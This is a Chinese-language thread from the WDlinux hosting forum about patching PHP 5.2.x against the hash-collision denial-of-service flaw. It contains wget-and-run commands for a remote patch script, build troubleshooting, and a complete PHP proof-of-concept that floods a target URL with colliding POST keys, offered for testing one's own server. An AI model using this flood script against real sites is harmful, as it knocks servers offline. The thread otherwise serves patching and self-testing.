Board logo

标题: [发布] PHP5.2.*防止Hash冲突拒绝服务攻击升级脚本 [打印本页]

作者: admin    时间: 2012-1-4 13:03     标题: PHP5.2.*防止Hash冲突拒绝服务攻击升级脚本

ssh登录终端,执行如下

wget http://www.wdlinux.cn/in_scripts/php-52_1130.sh.txt
sh php-52_1130.sh.txt

完成后就可以


已修正
之前升级的,如果出现 EA无法使用,可执行如下再编译下EA就可以
cd /tmp
wget -c http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2
tar jxvf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=/www/wdlinux/php/bin/php-config
make
make install


此脚本只对wdlinux,一键包及wdcp的默认安装有效,如不是wdlinux的安装包或有修改目录的,可做相应的修改编译
或下载php手工编译


此BUG据说可以让CPU100%从而达到拒绝服务,但我在几个机器上测试,似乎没有这个问题
这里附上测试程序
  1. <?php
  2. $size = pow(2, 16);
  3. $array = array();
  4. $ch = curl_init();
  5. curl_setopt($ch, CURLOPT_URL, "http://www.xxx.com/index.php");
  6. for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
  7.         #$array[$key] = 0;
  8.         $argument.="a[".$key."]=0&";
  9. }
  10. curl_setopt($ch, CURLOPT_POST, true);
  11. curl_setopt($ch, CURLOPT_POSTFIELDS, $argument."1=1");
  12. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  13. curl_setopt($ch, CURLOPT_TIMEOUT, '0');
  14. curl_setopt($ch, CURLOPT_USERAGENT, 'API REQUEST(CURL)');

  15. $return['result'] = curl_exec($ch);
  16. $return['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  17. curl_close($ch);
  18. ?>
复制代码

另一个攻击测试脚本 http://blog.csdn.net/linvo/article/details/7169718

把上面的www.xxx.com 替换为相关的域名即可
把上面的PHP代码保存为当前文件如t.php
/www/wdlinux/wdphp/bin/php t.php
就可以看到效果,如果有问题,CPU就会达100%
作者: mingzhao    时间: 2012-1-4 17:06

太感谢了~正愁着尝试网上的方法都不行~老大就出了脚本
作者: c3a3o3    时间: 2012-1-9 11:03

This build of "eAccelerator" was compiled for PHP version 5.2.17. Rebuild it for your PHP version (5.2.17-p1) or download precompiled binaries.
作者: c3a3o3    时间: 2012-1-9 11:04

ssh登录终端,执行如下

wget
sh php-52_1130.sh.txt

完成后就可以


此脚本只对wdlinux,一键包 ...
admin 发表于 2012-1-4 13:03



    弄好以后  eAccelerator 不能用了
作者: admin    时间: 2012-1-9 12:35

已修正
之前升级的,可执行如下再编译下EA就可以
cd /tmp
wget -c http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2
tar jxvf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=/www/wdlinux/php/bin/php-config
make
make install
作者: c3a3o3    时间: 2012-1-9 13:11

已修正
之前升级的,可执行如下再编译下EA就可以
cd /tmp
wget -c
tar jxvf eaccelerator-0.9.5.3.tar ...
admin 发表于 2012-1-9 12:35



    老大的效率 太高了 谢谢
作者: admin    时间: 2012-1-9 14:35

是前两天修改过的,你应该是早几天升的吧
作者: c3a3o3    时间: 2012-1-9 15:49

是前两天修改过的,你应该是早几天升的吧
admin 发表于 2012-1-9 14:35



   上周六 测试 出现 的问题
作者: al277    时间: 2012-1-18 18:14

这个很给力的说 我就说 怎么网站打开报错了呢
ssh上去top一看,我靠mysql占用内存都120%了。。。。
果断下补丁 几分钟搞定
作者: admin    时间: 2012-1-18 19:40

加上memcache扩展再编译下
作者: omaman    时间: 2012-1-20 20:54

wdcp_v2.1.2 是不是已经打了补丁,不需要单独再大本文这个补丁?
作者: admin    时间: 2012-1-20 21:38

在此之后的不用
作者: 挡风    时间: 2012-2-20 21:46

天天CPU百分百的路过。
作者: doxlzt    时间: 2012-3-9 16:47

学习 了,支持老大
作者: 匿名好友    时间: 2012-8-25 02:55

请问老大,8月21的要不要再弄下这个
作者: lotuspool    时间: 2013-10-30 11:16

本帖最后由 lotuspool 于 2013-10-30 11:19 编辑

我的服务器的php版本是5.2.17, 我想打这个补丁,就现在一台电脑里做了虚拟机,模拟了服务器的系统centos5.7系统,lnmp也和服务器设置和安装目录一样。
php也是5.2.17。wdcp 1.1 。

我用这个脚本在虚拟机系统里打这个补丁,脚本运行很正常,最后完成之后,再去看phpinfo里的信息,已经显示“PHP Version 5.2.17p1”了,再测试漏洞也没有了。

之后我就去正式服务器打补丁,正式服务器脚本运行也正常,最后完成之后,我去看phpinfo里的信息,还是老样子“PHP Version 5.2.17”,我测试这个漏洞也还存在。

我的wdcp安装不是默认目录,脚本下载下来我修改了这个对应的目录,整个脚本运行也没看到什么报错。

请问各位高手,有遇到我这种情况的吗?有哪位兄弟好心帮忙指点一下,不胜感激。
作者: admin    时间: 2013-10-30 15:35

重起一下

可是手动编译试试
作者: lotuspool    时间: 2013-10-30 15:49

谢谢,我去试试
作者: lotuspool    时间: 2013-10-30 19:03

我去手工编译了,结果有报错:
/tmp/php-5.2.17/ext/iconv/iconv.c:2491: undefined reference to `libiconv_open'
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1

我去查了资料,有两个解决方法:
一:编辑Makefile 在crypt 后加上-liconv,
二:make ZEND_EXTRA_LIBS='-liconv'

可是我水平太低,没看懂这个两个解决办法。
第一个办法,我在make的时候报错,这时候还没生成makefile,我怎么去编辑makefile呢?
第二个办法,是直接在命令行里打这个命令,然后重新./configure 。。。。 ,        make ,这样吗?
我试过在命令行里直接运行make ZEND_EXTRA_LIBS='-liconv',然后./configure 。。。。 ,        make , 还是报原来的错误。

有哪位好心的兄弟帮我解释一下这个问题吗? 万分感谢。
作者: lotuspool    时间: 2013-10-30 19:42

我刚才这样做了:
./configure 之后  
make ZEND_EXTRA_LIBS='-liconv',
然后make install ,已经成功了。




欢迎光临 WDlinux官方论坛 (http://www.wdlinux.cn/bbs/) Powered by Discuz! 7.2